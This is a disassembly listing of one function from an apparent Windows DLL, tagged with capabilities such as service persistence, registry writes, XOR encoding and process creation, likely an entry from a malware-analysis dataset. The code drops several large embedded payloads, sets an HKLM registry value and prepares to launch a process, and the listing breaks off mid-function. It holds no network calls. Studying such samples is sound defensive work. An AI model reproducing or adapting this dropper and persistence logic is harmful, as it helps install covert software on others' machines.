Function at 0x1800045d0
Capabilities:
Create process on windows
Encode data using xor
Generate random numbers using a mersenne twister
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
mov eax, 0x1750
call fcn.180018c20
sub rsp, rax
movaps xmmword [rsp + 0x1740], xmm6
mov rax, qword [0x180b210c0]
xor rax, rsp
mov qword [rsp + 0x1730], rax
xor ebx, ebx
lea rcx, [rsp + 0x148]
call fcn.180007380
nop
lea rax, [0x18005b6c8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xe8], rax
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x68], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xe0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1a8]
call fcn.18000cca0
nop
lea rax, [0x18005b6f0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x12
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x100]
call fcn.18000cca0
nop
lea rax, [0x18005b718]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0x1a
lea rax, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova rax, qword [rsp + 0x148]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x168]
call fcn.18000cca0
nop
lea rax, [0x18005b750]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0xc
lea rax, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rax, qword [rsp + 0x168]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x188]
call fcn.18000cca0
nop
lea rdx, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 7
cmova rdx, qword [rsp + 0x188]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x198]
lea rcx, [rsp + 0x60]
call fcn.18000b900
nop
lea rcx, [rsp + 0x60]
call fcn.180004490
movzx esi, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180004939
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006462
call fcn.180018110
test sil, sil
je 0x180004b41
call fcn.180006530
nop
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 7
jbe 0x180004990
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000498b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006468
call fcn.180018110
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], bx
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x1800049f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800049ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000646e
call fcn.180018110
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], bx
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x180004a58
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006474
call fcn.180018110
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x180004abc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ab7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000647a
call fcn.180018110
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x160]
cmp rdx, 7
jbe 0x180004b20
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004b1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006480
call fcn.180018110
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x160], 7
mov word [rsp + 0x148], bx
jmp 0x180006433
jmp 0x180004b4f
lea rcx, [rsp + 0x1a8]
call fcn.180006f10
lea rcx, [rsp + 0x100]
call fcn.180006f10
call fcn.18001741c
mov dword [rsp + 0x1724], 0xffffffff
mov dword [rsp + 0x3a4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3a4], eax
inc rdx
cmp rdx, 0x270
jb 0x180004b90
mov dword [rsp + 0x3a0], 0x270
lea rcx, [rsp + 0x3a0]
call fcn.18000e5e0
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d7f
ja 0x180004bfd
nop word [rax + rax]
lea rcx, [rsp + 0x3a0]
call fcn.18000e5e0
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d80
jb 0x180004be0
shr rax, 0x20
add eax, 0x800186a0
btc eax, 0x1f
lea rcx, [0x18005bd30]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], 3
mov dword [rsp + 0x58], eax
movabs rax, 0x1000000000000000
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe0], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0xe0], xmm0
movaps xmm1, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm1
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x128]
call fcn.18000cca0
nop
lea rax, [0x18005b770]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 6
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1e8]
call fcn.18000cca0
nop
lea rax, [0x18005b780]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x90], rdi
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 7
cmova rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xb0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x90]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1c8]
call fcn.18000cca0
nop
lea rax, [0x18005b790]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x208]
call fcn.18000cca0
nop
lea rax, [0x18005b7b8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xe
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x308]
call fcn.18000cca0
nop
lea rax, [0x18005b7d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2e8]
call fcn.18000cca0
nop
lea rax, [0x18005b7f8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x16
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2c8]
call fcn.18000cca0
nop
lea rax, [0x18005b828]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x11
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2a8]
call fcn.18000cca0
nop
lea rax, [0x18005b850]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x10
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x288]
call fcn.18000cca0
nop
lea rax, [0x18005b878]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xc
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x268]
call fcn.18000cca0
nop
lea rax, [0x18005b898]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x13
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x248]
call fcn.18000cca0
nop
lea rax, [0x18005b8c0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x16
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x228]
call fcn.18000cca0
nop
mov dword [rsp + 0x120], ebx
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [0x18005bb40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1800054b0
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x18005bbb0]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 7
cmova rdx, qword [rsp + 0x168]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x60]
call fcn.18000b900
nop
lea rcx, [rsp + 0x60]
call fcn.180004490
movzx r14d, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18000553f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000553a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006486
call fcn.180018110
test r14b, r14b
jne 0x180005575
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x90]
call fcn.18000b270
nop
lea rcx, [rsp + 0x90]
call fcn.180004590
nop
lea rcx, [rsp + 0x90]
call fcn.180003cb0
mov r8d, 0x190
lea rdx, [0x180b16ff0]
lea rcx, [rsp + 0x188]
call fcn.180006c50
lea rax, [0x18005b8f0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xa
lea rax, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 7
cmova rax, qword [rsp + 0x1a8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000cca0
nop
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0xf0], xmm1
movdqa xmm6, xmmword [0x180b19f50]
movdqu xmmword [rsp + 0xa0], xmm6
mov word [rsp + 0x90], bx
lea rcx, [rsp + 0xe0]
call fcn.180004490
movzx r14d, al
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x1800056ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000648c
call fcn.180018110
movdqu xmmword [rsp + 0xf0], xmm6
mov word [rsp + 0xe0], bx
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005723
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000571e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006492
call fcn.180018110
test r14b, r14b
je 0x180005796
lea rax, [0x18005b908]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0x1a
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.18000b400
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180003c70
nop
lea rcx, [rsp + 0x90]
call fcn.180004590
nop
lea rcx, [rsp + 0x90]
call fcn.180003cb0
nop
lea rcx, [rsp + 0x60]
call fcn.180003cb0
nop
jmp 0x1800057b6
mov r8d, 0x89000
lea rdx, [0x1808a33f0]
lea rcx, [rsp + 0x308]
call fcn.180006c50
mov r8d, 0x16200
lea rdx, [0x1809e93f0]
lea rcx, [rsp + 0x2e8]
call fcn.180006c50
mov r8d, 0x477c00
lea rdx, [0x1802943f0]
lea rcx, [rsp + 0x2c8]
call fcn.180006c50
mov r8d, 0x1c3ee9
lea rdx, [0x18005c280]
lea rcx, [rsp + 0x2a8]
call fcn.180006c50
mov r8d, 0x74279
lea rdx, [0x180220170]
lea rcx, [rsp + 0x288]
call fcn.180006c50
mov r8d, 0x4fe00
lea rdx, [0x180ac71f0]
lea rcx, [rsp + 0x268]
call fcn.180006c50
mov r8d, 0xc7c00
lea rdx, [0x1809ff5f0]
lea rcx, [rsp + 0x248]
call fcn.180006c50
mov r8d, 0xce00
lea rdx, [0x1809dc5f0]
lea rcx, [rsp + 0x228]
call fcn.180006c50
mov r8d, 0xb0200
lea rdx, [0x18092c3f0]
lea rcx, [rsp + 0x208]
call fcn.180006c50
mov r8d, 0x197400
lea rdx, [0x18070bff0]
lea rcx, [rsp + 0x1c8]
call fcn.180006c50
lea rcx, [rsp + 0x128]
call fcn.180006690
lea rax, [0x18005b940]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x4c
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x100]
cmp qword [rsp + 0x118], 7
cmova rax, qword [rsp + 0x100]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000cca0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005a12
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006498
call fcn.180018110
lea rax, [0x18005b9e0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x66
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdi
lea rax, [rsp + 0x1c8]
cmp qword [rsp + 0x1e0], 7
cmova rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0xc0], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000cca0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005b5d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000649e
call fcn.180018110
lea rax, [0x18005bab0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0xb
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova rax, qword [rsp + 0x128]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xc8], rax
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0xc0], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.18000cca0
nop
mov edx, 0x2328
lea rcx, [rsp + 0x90]
call fcn.180007150
nop
mov rdx, qword [rsp + 0xa8]
cmp rdx, 7
jbe 0x180005c61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005c5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064a4
call fcn.180018110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
mov dword [rsp + 0x394], eax
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x330], 0x68
lea rcx, [rsp + 0x208]
cmp qword [rsp + 0x220], 7
cmova rcx, qword [rsp + 0x208]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
